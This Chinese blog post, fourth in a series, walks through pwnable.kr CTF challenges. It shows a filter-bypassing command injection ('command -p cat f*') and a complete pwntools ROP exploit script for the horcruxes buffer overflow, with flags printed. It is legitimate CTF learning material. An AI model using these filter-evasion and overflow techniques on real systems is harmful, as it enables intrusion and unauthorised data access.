萌新带你开车上p站(Ⅳ)
本文原创作者:萌新
前情提要:
萌新带你开车上p站(一)
萌新带你开车上p站(二)
萌新带你开车上P站(三)
回顾一下前篇,我们开始新的内容吧
0x12
登录后看源码
通读程序,逻辑是这样子的:
输入6个字符,与程序由/dev/urandom随机产生的6个字符对比,通过上图第二个红框的检验,则match自加1,双重for循环结束后如果match=6则打印flag
这里的漏洞在于检验的双重for循环实现时出了问题。
该程序实现的逻辑实际上是对于每个lotto[i]会和输入的每个字符去比较,如果命中则加1
那么我们可以考虑输入的6个字符相同,如果有一个命中,则全部命中。
字符的取值范围知道是在ascii 1-45之间,又我们能输入的只有asci中的可见字符,那满足条件的只有33-45
多试几次即可。
0x13
cmd1
看看源码
在main中可以看到我们输入的参数可以通过调用system执行
但是在传给system执行前,输入的内容会被filter处理
而filter过滤了tmp,flag,sh这些关键字
而且还有一点需要注意的是,我们绕过filter之后,还得注意main中的putenv,它将PATH环境变量设置为了乱七八糟的东西
PATH决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当运行一个程序时,Linux在这些目录下进行搜寻编译链接
修改之后意味着我们要使用命令时需要使用绝对路径,比如要想读flag,正常情况下应该是cat flag,但是现在需要/bin/cat flag
综上,绕过
这里我们用到了通配符*,使用f*匹配flag文件,从而绕过
cmd2
看源码
可以看到比之cmd1,这里过滤了更多的东西
尤其是\
我们当然还可以使用f*来指代flag
但是\的过滤怎么绕过呢
题目给了提示
来看看system函数
可以看到system()实际上是通过execl实现的
查找sh的man
可以看到
使用-p时会可以自动找到path的默认值,而不受程序设置ENV的影响
所以可以考虑使用-p cat,这样就可以自动绕过/
cmd2@ubuntu:~$ ./cmd2 "command -p cat f*"command -p cat f*FuN_w1th_5h3ll_v4riabl3s_haha
0x14 blukat
看源码
从password文件读内容,与我们输入的字符相比,通过比较则打印flag
现在的关键是知道password的内容是什么,我们注意到下图的情况:
从上图可以看到我们这个用户所在的组对password是有读权限的,可是cat的时候却是:
emmm也就是说password本身的内容就是这个
于是执行二进制文件就得到flag了
0x15 horcruxes
没有源码,就给了二进制文件,看来得逆向了
执行后需要输入的地方有两处
下载到本地
可以看到是32位的
上ida
main函数
ropme
红色圈起来的就是我们之前试运行时输入的地方
最下面的else可以看到,当我们的输入和sum值相等时会打印flag
注意到上面有A,B,C,D,E,F,G函数
打开A函数看看
B的
别的都是一样的
可以看到会返回a,b等
这些参数的赋值操作在init_ABCDEFG
可以看到是/dev/urandom产生的随机数配合产生的,而sum的值是综合计算a,b,c等得到的
这里的漏洞在于main中的gets(),没有指定buffer,所以可以尝试溢出
我们希望直接通过溢出buffer来覆盖ropme()函数的return地址
由上图可知buffer起始地址为ebp-0x74,加上原函数ebp地址的长度4个字节,则buffer起始到ropme()的return一共需要0x74+4=120个字节
那么我们构造的思路就是依次打印A.B,,,,G函数返回的值,将其相加,得到sum的确定值,然后返回ropme,将结果作为输入,即可满足条件得到flag
要作为这一点,我们需要知道
1. padding大小,由前可知,120字节
2. 然后拼接A函数的起始地址,来跳转到A执行,然后拼接B的。。。。以此类推
3. 最后要跳转到ropme(),这里要注意,不能直接凭借ropme的地址,因为该地址如下图所示含有\x0a,会被截断,所以要通过拼接main中调用ropme()时的地址
接下来的任务就是找地址了
如图所示一个个找出来并不难,以A为例
以及main中调用ropme的
综上所述,写出exp:
from pwn import *context.log_level='debug'LOCAL = Falseif __name__ == '__main__':if LOCAL:c = process('/home/horcruxes/horcruxes')else:c = remote('0', 9032)msg = c.recvuntil("Menu:")c.sendline('1')msg = c.recv(512)payload = 'A'*0x78payload += p32(0x809fe4b) # address A()payload += p32(0x809fe6a) # address B()payload += p32(0x809fe89) # address C()payload += p32(0x809fea8) # address D()payload += p32(0x809fec7) # address E()payload += p32(0x809fee6) # address F()payload += p32(0x809ff05) # address G()payload += p32(0x809fffc) # address main<call ropme>c.sendline(payload)sum = 0c.recvline()for i in range(7):s = c.recvline()n = int(s.strip('\n').split('+')[1][:-1])sum += nprint "Result: " + str(sum)c.recvuntil("Menu:")c.sendline("1")c.recvuntil(" : ")c.sendline(str(sum))log.success("Flag: " + c.recvline())
未完待续!
操作推荐--逆向破解-CrackMe系列
http://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182016031814360300001
萌新带你开车上p站(Ⅳ)相关推荐
- 萌新带你开车上p站(二)
本文作者:萌新 前情提要:萌新带你开车上p站(一) 0x04flag 看题目描述似乎是一个和脱壳相关的逆向题目 按照给出的地址先下载过来 file看看 是个可执行文件 执行之 emm什么都看不出来, ...
- 萌新带你开车上p站(完结篇)
本文原创作者:萌新 前情提要: 萌新带你开车上p站(一) 萌新带你开车上p站(二) 萌新带你开车上P站(三) 萌新带你开车上P站(IV) 回顾一下前篇,我们开始新的内容吧 0x16memcpy 源码在 ...
- 萌新带你开车上p站(三)
本文原创作者:萌新 前情提要: 萌新带你开车上p站(一) 萌新带你开车上p站(二) 0x08 题目给的提示是和运算符优先级有关 登录后直接看源码 mistake@pwnable:~$ lsflag m ...
- 萌新带你开车上p站(一)
原创作者:萌新 0x01前言 这一系列文章为pwnable.krToddlr's Bottle的全部题解,其中有三道题目相对而言稍难或者说比较经典,单独成篇,其他题目的题解放在一起发出来. 本文涉及知 ...
- 萌新带你开车上p站(终极番外)
本文由"合天智汇"公众号首发,作者:萌新 0x01前言 这关其实和pwn关系不大,主要考察的都是linux下一些函数的操作,考察linux的基本功.涉及到的知识点包括一些经典的函数 ...
- 萌新带你开车上p站(番外篇)
前言 这道题目应该是pwnable.kr上Toddler's Bottle最难的题目了,涉及到相对比较难的堆利用的问题,所以拿出来分析. 登录 看看源程序 程序中有几点要注意的地方: 1. 定义的OB ...
- 萌新学习Python爬取B站弹幕+R语言分词demo说明
代码地址如下: http://www.demodashi.com/demo/11578.html 一.写在前面 之前在简书首页看到了Python爬虫的介绍,于是就想着爬取B站弹幕并绘制词云,因此有了这 ...
- 【新手宝典】一篇博文带萌新建站并了解建站体系流程和对萌新友好的便捷方式,这篇博文很有可能是你的启蒙文
前言 本片博文主要面向于还没接触过web开发的萌新,以及想知道整体流程并且完成建站的萌新:如果你是个大佬,就没必要看下去了. 本篇博文没有难啃的骨头,请各位萌新放心食用. 本篇博文采用通俗易懂的方式讲 ...
- 萌新卷妹带你逃出算法无名岛第五站
萌新卷妹带你逃出算法无名岛第五站
最新文章
- 近期活动盘点:基于雷达图像预测未来降水参赛经验分享、智慧政府讲座、金融AI思享会、数据法学研讨会(11.29-11.30)
- UDP通讯C++实现
- 【译】史上最强的vimrc文件
- TCP三次握手(建立连接)/四次挥手(关闭连接)
- dp问题 -挑战例题 2017-7-24
- get metadata in QHD - still has cache logic
- 渗透测试入门DVWA 教程1:环境搭建
- nuxt解决首屏加载慢问题_一个 Node 脚本让你的前端项目加载速度飞起来
- python r语言 作图_生物医学绘图,Python 并不比R语言差
- edge浏览器怎么设置activex_微软在新Edge浏览器中拒绝了ActiveX插件技术
- JS案例:使用对象、对象数组、正则表达式
- 修改windows cmd f2快捷_解放你的右手,实测12个超好用的自带快捷键
- 洛谷 P1426 小鱼会有危险吗(C语言)
- 动手学深度学习Pytorch Task01
- 2022谷粒学院BUG记录
- 8.input设备(input子系统)驱动
- 数据库敏感数据加密技术
- ​以太网的发展历史、演化过程以及工作基理
- 记录解决流氓软件无法删除-被资源管理器打开以及被xx程序打开导致无法删除
- Linux编辑grldr文件,使用syslinux完美引导GRLDR。